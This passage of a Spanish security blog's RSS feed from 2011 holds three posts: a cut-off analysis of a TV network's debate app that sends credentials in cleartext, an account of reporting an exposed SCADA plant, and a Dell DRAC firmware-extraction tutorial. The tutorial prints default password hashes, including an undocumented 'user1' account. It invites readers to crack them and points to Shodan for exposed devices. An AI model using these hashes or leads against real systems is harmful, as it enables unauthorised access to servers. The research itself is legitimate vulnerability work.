<p>Curiosamente  tras 3 intentos fallidos de autentificación, el programa muestra un Message Box diciéndote que has agotado los intentos, que te pires y se cierra. Pero teniendo en cuenta que nosotros somos el server y no le hemos dicho nada, la cuenta de los logins fallidos está en el lado cliente. </p>
<p>Lo que no puedo asegurar es si sólo está en ese lado, ya que no tengo un server. Si sólo se mantiene en el client-side además podríamos construir un programa para bruteforcear logins facilmente. La forma de interceptar las credenciales ya dependería de la arquitectura de red.</p>
<p>Los periodistas pueden estar &#8220;tranquilos&#8221;, a nivel de la aplicación sus credenciales están viajando en texto claro. Vamos que si no oficialmente, &#8216;extraoficialmente&#8217; en principio no parece muy complicado monitorizarlo.</p>
<p>Bueno, pues ya sabemos algo más de cómo funciona TVE por dentro. Ahora a &#8216;disfrutar&#8217; del debate, a ver si pasa algo raro&#8230;</p>
<p>Si alguno tiene más información o correcciones, escribid un comentario!</p>
<p>Hasta la próxima gorrillas del ciberespacio.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2011/11/07/%c2%bfque-sabemos-de-tve-no-sabemos-mucho/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Cosas del internes</title>
		<link>http://blog.48bits.com/2011/08/22/cosas-del-internes/</link>
		<comments>http://blog.48bits.com/2011/08/22/cosas-del-internes/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 18:42:51 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1937</guid>
		<description><![CDATA[Hola aspergers Estamos de acuerdo en que internet es para gatos y ya cada vez menos para ver cosas que son pecado, pero navegando por ahí te puedes encontrar situaciones interesantes. Lo bonito de eso es que sabes donde empiezas pero nunca donde acabas&#8230;Una de estas veces terminé en un sistema &#8220;experimental&#8221; de una central [...]]]></description>
			<content:encoded><![CDATA[<p>Hola aspergers </p>
<p>Estamos de acuerdo en que internet es para gatos y ya cada vez menos para ver cosas que son pecado, pero navegando por ahí te puedes encontrar situaciones interesantes.  </p>
<p>Lo bonito de eso es que sabes donde empiezas pero nunca donde acabas&#8230;Una de estas veces terminé en un sistema &#8220;experimental&#8221; de una central de <a href="http://es.wikipedia.org/wiki/Cogeneración">cogeneración</a> rumana. Esta de aquí, más concrétamente.<br />
<img src="http://blog.48bits.com/wp-content/uploads/2011/08/sambata2.png" alt="" title="sambata2" width="600" height="239" class="aligncenter size-full wp-image-1938" /></p>
<p><span id="more-1937"></span></p>
<p>El caso es que un día como otro cualquier me puse a ver que cosas de SCADA había por ahí y acabé en ese sistema, el cual corría un software SCADA cliente/servidor de la empresa <a href="http://www.inductiveautomation.com/" target="_blank">http://www.inductiveautomation.com/</a> . </p>
<p>Tras echarle un ojo, aquello era un coladero por lo que entrar al sistema no era muy dificil. Con todos estos datos avisé al ICS-CERT para, por un lado poner en aviso a los operadores de la central y por otro advertir de las vulnerabilidades al vendor.<br />
<img src="http://blog.48bits.com/wp-content/uploads/2011/08/sambata1.png" alt="" title="sambata1" width="700" height="524" class="aligncenter size-full wp-image-1940" /><br />
De esta manera, los encargados de la central chaparon los sistemas accesibles y la compañia de software arregló un importante fallo que permitía acceder a toda la información del sistema, incluyendo los passwords. Todo el mundo contento, y así yo puedo seguir paseando por Cohlada.</p>
<p>El advisory del ICS-CERT lo podéis consultar aquí <a href="http://www.us-cert.gov/control_systems/pdf/ICSA-11-231-01.pdf" target="_blank">http://www.us-cert.gov/control_systems/pdf/ICSA-11-231-01.pdf</a></p>
<p>Hasta la siguiente.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2011/08/22/cosas-del-internes/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>DELLirium, participa.</title>
		<link>http://blog.48bits.com/2011/08/16/dellirium-participa/</link>
		<comments>http://blog.48bits.com/2011/08/16/dellirium-participa/#comments</comments>
		<pubDate>Tue, 16 Aug 2011 00:14:41 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[48Bits exploits]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1924</guid>
		<description><![CDATA[Antes de nada mira los comentarios, el shadow no se usa para autentificarse asi que por ese vector parece que no hay más que rascar Hola anonymous y anonymaus, En la época estival 48bits retorna. [Música épica] Cuando nadie lo esperaba, cuando todos nos daban por muertos, detenidos o ambas cosas. En esos momentos, vamos [...]]]></description>
			<content:encoded><![CDATA[<p><font color="#ff0000"> <b> Antes de nada mira los comentarios, el shadow no se usa para autentificarse asi que por ese vector parece que no hay más que rascar</b> </font></p>
<hr color="#ff0000"> </hr>
<p>Hola anonymous y anonymaus,</p>
<p>En la época estival 48bits retorna. </p>
<p>[Música épica] Cuando nadie lo esperaba, cuando todos nos daban por muertos, detenidos o ambas cosas. En esos momentos, vamos y publicamos.</p>
<p>Vamos a ver cómo buscar vulnerabilidades  en embebidos, sin necesidad de disponer del dispositivo. En este caso vamos a dar un poco de caña al sistema out-of-band management de DELL. Al lío..</p>
<p><span id="more-1924"></span></p>
<p>A la hora de enfrentarse a un software/hardware, lo primero de todo es buscar toda la documentación posible sobre el sistema. A partir de la wikipedia podemos acceder a las más importantes, sencillas búsquedas por google arrojan un monton de resultados adicionales:</p>
<p><a href="http://www.dell.com/content/topics/global.aspx/power/en/ps2q02_bell?c=us&#038;l=en">http://www.dell.com/content/topics/global.aspx/power/en/ps2q02_bell?c=us&#038;l=en</a><br />
<a href="http://en.wikipedia.org/wiki/Dell_DRAC">http://en.wikipedia.org/wiki/Dell_DRAC</a></p>
<p>Hay que tener en cuenta la siguiente cuestión, si bien el código fuente de  ciertos componentes del firmware de DELL DRAC están disponibles, DELL <a href="http://lists.us.dell.com/pipermail/linux-poweredge/2010-December/043738.html">admite</a> que no provee ni el entorno para crear un firmware funcional, ni el código de la versión final. Por lo tanto no tenemos acceso al código fuente de las partes más interesantes.</p>
<p>Llegado este punto es indispensable pasar a analizar el firmware y ver hasta donde podemos llegar. Podemos descargar la última versión desde la página de soporte de Dell<br />
<a href="http://support.us.dell.com/support/downloads/format.aspx?releaseid=R299265&#038;c=us&#038;l=en&#038;cs=&#038;s=gen">http://support.us.dell.com/support/downloads/format.aspx?releaseid=R299265&#038;c=us&#038;l=en&#038;cs=&#038;s=gen</a></p>
<p>Un zip autoejecutable que nos descomprime dos ficheros, uno de ellos es el  firmware &#8220;<em>firmimg.d6</em>&#8220;, que ocupa 54 megas.</p>
<p>Lo común es utilizar <a href="http://code.google.com/p/binwalk/">binwalk</a> para ver que contiene. No podemos confiar ciegamente en este programa, basado en firmas, porque en ocasiones da falsos positivos y/o resultados con poco sentido. En cualquier caso es un buen punto de partida.</p>
<pre>
DECIMAL   |	HEX     |  	DESCRIPTION
--------------------------------------------------------------

<em>512</em>       	0x200     	uImage header, created: Sat Mar 12 21:17:47 2011, image size: 4479904 bytes, Data Address: 0x8000, Entry Point: 0x8000, CRC: 0x1BB8BE08, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: arm-linux
<em>12424 </em>    	0x3088    	romfs filesystem, version 1 1892957376 bytes, named \240\324<\300hsqs\324\324<\300\177\023.
<em>12436</em>     	0x3094    	Linux Compressed ROM filesystem data, little endian size 3225212064 CRC 0xc03cd538, edition 3225212264, 3225738208 blocks,            3225738220 files
<em>12444</em>     	0x309C    	Squashfs filesystem, little endian, version 54632.49212, 4991 bytes, -1069755180 inodes, blocksize: 56288 bytes, created: Fri Aug 11 04:51:44 2006
<em>103296</em>    	0x19380   	gzip compressed data, from Unix, last modified: Sat Mar 12 21:10:25 2011, max compression</pre>
<p>Esto es algunos de los resultados que muestra, de los cuales el único válido es el primero, en el offset 0&#215;200. Primero nos encontramos con una cabecera propia del firmware. Es bastante común encontrarse con una imagen del bootloader<a href="http://en.wikipedia.org/wiki/Das_U-Boot">u-Boot </a>(tanto en standalone como imagen de kernel, sobre todo esta última).  No nos interesa especialmente en este caso, aunque podríamos debuggearlo a través de qemu-arm-system compilado con soporte para gdb. También podríamos seguir paso a paso la ejecución desde IDA que soporta <a href="http://www.hex-rays.com/idapro/debugger/gdb_qemu.pdf">este modo</a> de debugging. </p>
<p>Con una fichero de firmware de 54 Megas, además de un kernel debemos tener mucha más chicha asi que vamos a buscarlo. Un análisis de entropía del fichero, por ejemplo usando uno de los últimos commits de radare (thx pancake!) &#8220;rahash2 -b 512 -a entropy firmimg.d6&#8243; o de forma visual  veremos como en torno al offset 0x45b000 empezamos a observar zonas de muy alta entropía lo que suele significar datos comprimidos o cifrados..Buscando en la zona anterior nos encontramos con<br />
<img src="http://blog.48bits.com/wp-content/uploads/2011/08/romfs.png" alt="" title="romfs" width="468" height="166" class="aligncenter size-full wp-image-1929" /></p>
<p>Si os fijais podemos identificar el magic de un <a href="http://en.wikipedia.org/wiki/Cramfs">CramFS</a> &#8220;45 3D CD 28&#8243; seguido por &#8220;Compressed ROMFS&#8221; y nombres relativos a directorios,ficheros&#8230; por lo tanto blanco y en botella: previo a la zona de alta entropia tenemos un cabecera de un CramFS legítimo. Por lo tanto, lo que tenemos que hacer es dumpear desde el magic hasta el final y montarlo.</p>
<blockquote><p>dd if=firmimg.d6 bs=1 skip=4480512 of=tirori.fs<br />
mount -o loop -t cramfs tirori.fs /mnt/drac </p></blockquote>
<p>Y listo, de esta manera tenemos montado el sistema de ficheros que usa el dispositivo, por lo tanto tenemos acceso a todos los ficheros de configuración, certificados, shadow, demonios&#8230; aquí podéis ver el listado <a href="http://pastebin.com/Wn10iFf3">http://pastebin.com/Wn10iFf3</a></p>
<p>Pero podemos ir más allá y emular los ejecutables para poder así buscar vulnerabilidades en los servicios. QEMU soporta dos modos, emulación completa o sólo de user-mode. En este caso lo que nos interesa es emular en la capa de usuario por lo que seguiremos los siguientes pasos.</p>
<p>1. Instalarnos una suite de cross-compiling/debugging ARM como por ejemplo (http://www.codesourcery.com/sgpp/lite/arm/portal/subscription?@template=lite)<br />
2. Cross-Compile QEMU user-mode en éstatico con el target arm<br />
$ ./configure &#8211;enable-user &#8211;static &#8211;target-list=arm-linux-user  &#8211;enable-debug<br />
3. Activar el soporte en el kernel para otros formatos ejecutables<br />
$ apt-get install binfmt-support<br />
Descargar y ejecutar http://compbio.cs.toronto.edu/repos/snowflock/xen-3.0.3/tools/ioemu/qemu-binfmt-conf.sh<br />
4. Crear /usr/gnemul/qemu-arm y copiar las librerias de /mnt/drac/lib a este directorio.<br />
5. Copiar el qemu-arm estático a /mnt/drac/usr/local/bin<br />
6. Chrootear en /mnt/drac y listo<br />
7. Mapear /proc y /dev  en el chroot para poder usar comandos como &#8220;ps&#8221; y sobre todo permitir a los binarios arm usar /dev/(u)random en el entorno chrooted.<br />
   mount -bind  /dev /mnt/drac/dev<br />
   mount -t proc proc /mnt/drac/proc</p>
<p>De esta manera estamos podemos ejecutar, mediante la emulación que QEMU hace de la capa de usuario, los ficheros del firmware. Esto supone también la posibilidad de debuggearlos mediante gdb en remoto, ya que ptrace no está implementado en la capa de emulación.</p>
<p>(Entorno Chrooted)$ qemu-arm -g 1337 binario<br />
Desde el entorno no chrooted usamos el cross-compiled gdb para arm de la siguiente manera<br />
(gdb) target remote localhost:1337</p>
<p>Por ejemplo, vamos a depurar el servidor web que usan (<a href="http://appwebserver.org/">appweb</a>)</p>
<blockquote><p>(chrooted) # qemu-arm -g 1337 /usr/local/bin/appweb -r /usr/local/lib/appweb -d /usr/local/www -a 0.0.0.0:8150</p></blockquote>
<blockquote><p>(fuera) $  arm-none-eabi-gdb<br />
(gdb) target remote localhost:1337</p></blockquote>
<p>Tras algo de &#8220;stress&#8221; los SIGSEGV comienza a aparecer&#8230;</p>
<p>Por último, vamos a hacer de esto algo participativo. DRAC permite una serie de métodos de acceso, por ejemplo ssh. Atendiendo a la configuración de PAM<br />
/etc/pam.d<br />
diags<br />
kvm<br />
login	other<br />
racadm<br />
sol</p>
<blockquote><p>sshd<br />
#%PAM-1.0<br />
auth	sufficient	pam_ldap_manager.so<br />
<strong>auth	sufficient	pam_local_manager.so use_first_pass </strong><br />
auth	required	pam_auth_status.so<br />
account	sufficient	pam_ldap_manager.so privilege=0&#215;01<br />
account	sufficient	pam_local_manager.so privilege=0&#215;01<br />
account	required	pam_auth_status.so<br />
session	required	pam_auth_status.so<br />
session	required	pam_session_manager.so sessiontype=SSH maxsessions=2</p></blockquote>
<p>telnetd<br />
vm<br />
vmcli<br />
webgui<br />
wsman </p>
<p>Tenemos el /etc/shadow mapeao a memoria flash, pero el shadow por defecto, y que es copiado a la flash por un script en al inicio, está en /etc/default/shadow</p>
<blockquote><p>root:$1$fY6DG6Hu$OpwCBE01ILIS1H/Lxq/7d0:13502:0:99999:7:::<br />
user1:$1$nVOr80rB$HDAd6FRlG24k/WN4ZuYPC0:0:0:99999:7:::<br />
racuser:!:0:0:99999:7:::<br />
sshd:*:11880:0:99999:7:-1:-1:0</p></blockquote>
<p>Aunque la documentación avisa que se debe cambiar el password de root, en ningún sitio se menciona el usuario &#8220;user1&#8243;. Por lo tanto estaríamos ante un usuario backdoor o una cuenta de testing de los developers, el problema es que es altamente improbable que ningún administrador haya cambiado el password o deshabilitado el usuario ya que no pueden tener conocimiento de ella.</p>
<p>A parte de otras vulnerabilidades que podamos encontrar vamos a hacer de esto algo participativo.</p>
<p>Para los ninjas del cracking de passwords (@aramosf puta dale cera) vamos a ver si entre todos petamos los passwords. El premio es acceso al sistema <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (no hombre, que es ilegal), ¿cómo encontrarlos? Bueno, hay miles en Shodan <a href="http://www.shodanhq.com/?q=appweb">http://www.shodanhq.com/?q=appweb</a></p>
<p>Si los sacais, avisad! Hasta la próxima! </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2011/08/16/dellirium-participa/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

